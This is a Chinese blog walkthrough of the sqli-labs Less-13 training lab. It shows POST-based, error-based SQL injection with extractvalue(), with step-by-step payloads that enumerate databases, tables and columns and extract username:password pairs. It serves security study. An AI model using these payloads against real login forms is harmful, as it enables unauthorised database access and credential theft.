sqli-labs less-13 post报错注入使用extractvalue

post提交报错注入

在这里插入图片描述

闭合方式及注入点

利用hackbar进行注入,构造post语句

uname=aaa’passwd=bbb&Submit=Submit
页面报错,根据分析,闭合方式').

确定列数

构造

uname=aaa’) or 1=1 # &passwd=bbb&Submit=Submit 确定存在注入

uname=aaa’) order by 3 # &passwd=bbb&Submit=Submit 有报错
uname=aaa’) order by 2 # &passwd=bbb&Submit=Submit 无报错,列数2

回显位置

uname=aaa’) union select 1,2 # &passwd=bbb&Submit=Submit
发现页面没有回显,想到前面 存在报错,想到报错注入

使用extractvalue()函数来进行报错注入

查询数据库与版本等

  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select database()))) # &passwd=bbb&Submit=Submit
    数据库名
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select version()))) # &passwd=bbb&Submit=Submit
    版本

爆出所有数据库

  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select schema_name from information_schema.schemata limit 0,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select schema_name from information_schema.schemata limit 5,1))) # &passwd=bbb&Submit=Submit
    通过修改limit函数的值来查询所有的数据库名

爆出所有表名

  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 2,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) # &passwd=bbb&Submit=Submit
    得到users

爆出列名

  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 0,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 1,1))) # &passwd=bbb&Submit=Submit
  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select column_name from information_schema.columns where table_schema=database() and table_name=‘users’ limit 2,1))) # &passwd=bbb&Submit=Submit
    得到列id,username,password

爆出数据

  • uname=aaa’) union select 1,extractvalue(1,concat(‘~’,(select concat(username,‘:’,password) from security.users limit 0,1))) # &passwd=bbb&Submit=Submit
    修改0的值,就可以得到所有的数据

完成,
还可与尝试updatexml()报错注入,floor()报错注入等,页面报错回显除了limit 0,1 之外,还可以使用substring()函数

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值